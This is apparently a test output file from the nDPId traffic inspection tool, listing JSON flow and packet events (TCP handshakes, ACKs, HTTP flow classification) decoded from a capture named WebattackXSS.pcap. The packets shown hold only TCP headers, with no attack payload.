+00431{"flow_id":82,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":641363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eYFAAD4GTFesEAABwKgKMtGgAFC6fhdVOIQBnoARAOVovwAAAQEICgE5c4cD4z+i"} +00431{"flow_id":82,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":641611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RWNAAEAGfnXAqAoyrBAAAQBQ0aA4hAGeun4XVoARAONjZQAAAQEICgPjRP0BOXOH"} +00431{"flow_id":82,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":642346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eYJAAD4GTFasEAABwKgKMtGgAFC6fhdWOIQBn4AQAOVjYwAAAQEICgE5c4cD40T9"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1222,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1499347111565,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53732,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":565010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ioRAAD4GO0ysEAABwKgKMtHkAFDzev7qAAAAAKACchAkwgAAAgQFtAQCCAoBOXRuAAAAAAEDAwc="} +00443{"flow_id":86,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":565183,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0eR9BdLY83r+66AScSCL+wAAAgQFtAQCCAoD40XkATl0bgEDAwc="} +00431{"flow_id":86,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":565797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ioVAAD4GO1OsEAABwKgKMtHkAFDzev7rfQXS2YAQAOUrAwAAAQEICgE5dG4D40Xk"} +00432{"flow_id":83,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":641738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kWZAAD4GNHKsEAABwKgKMtGuAFDha\/4JET3fd4ARAOWiQQAAAQEICgE5dIED40Dj"} +00431{"flow_id":83,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":642184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0moBAAEAGKVjAqAoyrBAAAQBQ0a4RPd934Wv+CoARAOOdLQAAAQEICgPjRfgBOXSB"} +00432{"flow_id":83,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347111,"pkt_ts_usec":642936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kWdAAD4GNHGsEAABwKgKMtGuAFDha\/4KET3feIAQAOWdKwAAAQEICgE5dIED40X4"} +00431{"flow_id":84,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347113,"pkt_ts_usec":642174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GMlAAD4GrQ+sEAABwKgKMtG8AFANSWhsqzdgDYARAOXuLwAAAQEICgE5dnUD40Ij"} +00432{"flow_id":84,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347113,"pkt_ts_usec":642448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0J+FAAEAGm\/fAqAoyrBAAAQBQ0byrN2ANDUlobYARAOPoZwAAAQEICgPjR+wBOXZ1"} +00431{"flow_id":84,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347113,"pkt_ts_usec":642966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GMpAAD4GrQ6sEAABwKgKMtG8AFANSWhtqzdgDoAQAOXoZQAAAQEICgE5dnUD40fs"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1243,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1499347114111,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347114,"pkt_ts_usec":111371,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8emxAAD4GS2SsEAABwKgKMtH+AFCQhwyGAAAAAKACchB3hAAAAgQFtAQCCAoBOXbqAAAAAAEDAwc="} +00443{"flow_id":87,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347114,"pkt_ts_usec":111528,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0f6FLaNRkIcMh6AScSADoAAAAgQFtAQCCAoD40hhATl26gEDAwc="} +00431{"flow_id":87,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1245,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347114,"pkt_ts_usec":112059,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0em1AAD4GS2usEAABwKgKMtH+AFCQhwyHhS2jUoAQAOWipgAAAQEICgE5dusD40hh"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1252,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1499347115408,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1252,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":408321,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8N6NAAD4Gji2sEAABwKgKMtIMAFCkuE+MAAAAAKACchAe+gAAAgQFtAQCCAoBOXgvAAAAAAEDAwc="} +00443{"flow_id":88,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":408410,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0gwQkJx6pLhPjaAScSAlRgAAAgQFtAQCCAoD40mlATl4LwEDAwc="} +00431{"flow_id":88,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":409199,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N6RAAD4GjjSsEAABwKgKMtIMAFCkuE+NEJCce4AQAOXETQAAAQEICgE5eC8D40ml"} +00431{"flow_id":85,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":642368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u4FAAD4GClesEAABwKgKMtHWAFDeH8hXyRtb8IARAOWfGwAAAQEICgE5eGkD40Sg"} +00432{"flow_id":85,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":642643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EhBAAEAGscjAqAoyrBAAAQBQ0dbJG1vw3h\/IWIARAOOZ3AAAAQEICgPjSeABOXhp"} +00431{"flow_id":85,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347115,"pkt_ts_usec":643158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u4JAAD4GClasEAABwKgKMtHWAFDeH8hYyRtb8YAQAOWZ2gAAAQEICgE5eGkD40ng"} +00431{"flow_id":86,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1264,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":642193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ioZAAD4GO1KsEAABwKgKMtHkAFDzev7rfQXS2YARAOUmDQAAAQEICgE5eWMD40Xk"} +00431{"flow_id":86,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":642482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mANAAEAGK9XAqAoyrBAAAQBQ0eR9BdLZ83r+7IARAOMhGAAAAQEICgPjStoBOXlj"} +00431{"flow_id":86,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":643034,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iodAAD4GO1GsEAABwKgKMtHkAFDzev7sfQXS2oAQAOUhFgAAAQEICgE5eWMD40ra"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1267,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1499347116705,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53786,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":705522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8FEVAAD4GsYusEAABwKgKMtIaAFCixG02AAAAAKACchAB8gAAAgQFtAQCCAoBOXlzAAAAAAEDAwc="} +00443{"flow_id":89,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":705654,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0hqTGb4kosRtN6AScSBixgAAAgQFtAQCCAoD40rpATl5cwEDAwc="} +00431{"flow_id":89,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1269,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347116,"pkt_ts_usec":706369,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FEZAAD4GsZKsEAABwKgKMtIaAFCixG03kxm+JYAQAOUBzgAAAQEICgE5eXMD40rp"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1282,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1499347119336,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":336171,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AVBAAD4GxICsEAABwKgKMtI0AFAiVX1VAAAAAKACchBvlgAAAgQFtAQCCAoBOXwFAAAAAAEDAwc="} +00443{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":336294,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0jRzeBsiIlV9VqAScSCQfAAAAgQFtAQCCAoD4017ATl8BQEDAwc="} +00431{"flow_id":90,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":336977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AVFAAD4GxIesEAABwKgKMtI0AFAiVX1Wc3gbI4AQAOUvhAAAAQEICgE5fAUD4017"} +00431{"flow_id":87,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1288,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":642759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0em5AAD4GS2qsEAABwKgKMtH+AFCQhwyHhS2jUoARAOWdPwAAAQEICgE5fFED40hh"} +00431{"flow_id":87,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":642977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07ppAAEAG1T3AqAoyrBAAAQBQ0f6FLaNSkIcMiIARAOOX2QAAAQEICgPjTcgBOXxR"} +00431{"flow_id":87,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347119,"pkt_ts_usec":643530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0em9AAD4GS2msEAABwKgKMtH+AFCQhwyIhS2jU4AQAOWX1wAAAQEICgE5fFED403I"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1499347044676,"flow_last_seen":1499347050622,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53032,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1499347044676,"flow_last_seen":1499347050622,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53032,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1499347047249,"flow_last_seen":1499347052623,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53058,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1499347047249,"flow_last_seen":1499347052623,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53058,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":6,"flow_first_seen":1499347048548,"flow_last_seen":1499347053624,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53072,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":6,"flow_first_seen":1499347048548,"flow_last_seen":1499347053624,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53072,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":6,"flow_first_seen":1499347051144,"flow_last_seen":1499347056624,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53098,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":6,"flow_first_seen":1499347051144,"flow_last_seen":1499347056624,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53098,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":6,"flow_first_seen":1499347052434,"flow_last_seen":1499347057625,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53112,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":6,"flow_first_seen":1499347052434,"flow_last_seen":1499347057625,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53112,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1499347053735,"flow_last_seen":1499347059625,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53126,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1291,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1499347053735,"flow_last_seen":1499347059625,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53126,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1294,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1499347120603,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53826,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":603108,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA815JAAD4G7j2sEAABwKgKMtJCAFDFAarTAAAAAKACchCeIQAAAgQFtAQCCAoBOX1BAAAAAAEDAwc="} 